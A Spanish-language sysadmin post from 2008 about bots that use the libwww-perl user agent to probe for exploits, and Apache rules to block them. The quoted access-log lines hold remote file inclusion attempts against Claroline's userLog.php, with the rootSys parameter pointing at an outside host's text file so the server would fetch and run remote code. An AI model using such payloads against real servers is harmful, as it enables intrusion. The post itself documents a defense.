Y seguimos con los bots exploiters

vicm3@hotmail.com (Víctor Martinez)
Thu, 06 Mar 2008 12:39:21 -0600

Para variar los exploiters automatizados siguen usando libwww-perl... bueno en lighttpd ya lo resolvi, anoche cai en cuenta que tambien en apache estaba teniendo muchas peticiones de estas... y todavia tengo 3 apaches en maquinas relativamente grandes, pero me parece que es un desperdicio de conexiones para la mas pequeña de ellas (384MB), más aun me aburre tener que leer mi reporte de logwatch con un monton de alertas de "probes"...

foobar:/var/log/apache# grep libwww access.log

124.217.247.166 - - [06/Mar/2008:11:43:01 -0600] "GET /~vicm3/consol2006/Ponencia//claroline/tracking/userLog.php?rootSys=http://www.ar-vision.com/galery.txt? HTTP/1.1" 404 391 "-" "libwww-perl/5.79"

124.217.247.166 - - [06/Mar/2008:11:43:01 -0600] "GET //claroline/tracking/userLog.php?rootSys=http://www.ar-vision.com/galery.txt? HTTP/1.1" 404 364 "-" "libwww-perl/5.79"

124.217.247.166 - - [06/Mar/2008:12:01:42 -0600] "GET /~vicm3/plataformas/Plataformas%20UPN%201-8-2006.ppt//claroline/tracking/userLog.php?rootSys=http://www.ar-vision.com/galery.txt? HTTP/1.1" 404 412 "-" "libwww-perl/5.79"

124.217.247.166 - - [06/Mar/2008:12:01:43 -0600] "GET /~vicm3/plataformas//claroline/tracking/userLog.php?rootSys=http://www.ar-vision.com/galery.txt? HTTP/1.1" 404 383 "-" "libwww-perl/5.79"

foobar:/var/log/apache#

Y no tenia bien esto, por un error en un bomberazo anterior en donde los vhost los habia definido con common en lugar de combined, por lo que no estaba guardando los nombres de los agentes (si se que es casi trivial cambiar el agent en script de perl, en todo caso, eso deja fuera a los wanna-be).

Bueno tal cual lo intente con lighttpd pues a buscar como han resuelto otros el problema, me encontre con un muy buen ejemplo para evitar el harvesting de emails, pero mejor aún en los comentarios me encontre algunos tips para implementarlo en http://www.evolt.org/article/Using_Apache_to_stop_bad_robots/18/15126/ apache para bloquear scripts que intenten vulnerabilidades.

### Anti exploiters
SetEnvIfNoCase User-Agent ".*libwww.*" bad_bot

<FilesMatch "\.php">
Order Allow,Deny
Allow from all
Deny from env=bad_bot
</FilesMatch>

SetEnvIfNoCase User-Agent “^libwww-^″ stay_out
<Location />
Order Allow,Deny
Deny from env=stay_out
Allow from all
</Location>

Estoy pensando ampliarlo un poco para que tambien bloque html, puesto que nuestros visitantes tambien tienen a bien pegarle a todo, pero empezemos poco a poco. Por cierto, tenia una forma más compleja de deshacerme de los ataques estos via mod_rewrite, pero encontre que tal cual dice el articulo anterior SetEnv viene ya compilado con apache y eso ya nos da menos overhead (puesto que mod_rewrite es resource intensive). Claro que voy a tener que refinar mis reglas... estoy viendo que mas bien los exploits van por palabras clave "claroline" por ejemplo... que muchos sysadmins no mantienen al dia y que tristemente me recuerda el tiempo en que quise empaquetarlo para Debian y recibi un par de correos de gente de security.debian.org que con justa razón me hicieron ver que aún tiene muchos reportes de exploits graves... lo cual me desilusiono mucho y logro que por ahi se declarara como abandonado el intento, de lo cual me parece ni he posteado... pero bueno prefiero seguir usando claroline de manera personal a mantenerlo y no solo tener que responder a mis usuarios, sino a cientos de debianeros enojados.

Y aun tengo que pensar en una buena solucion para los wikis que tenemos corriendo en una maquina con muy poca RAM.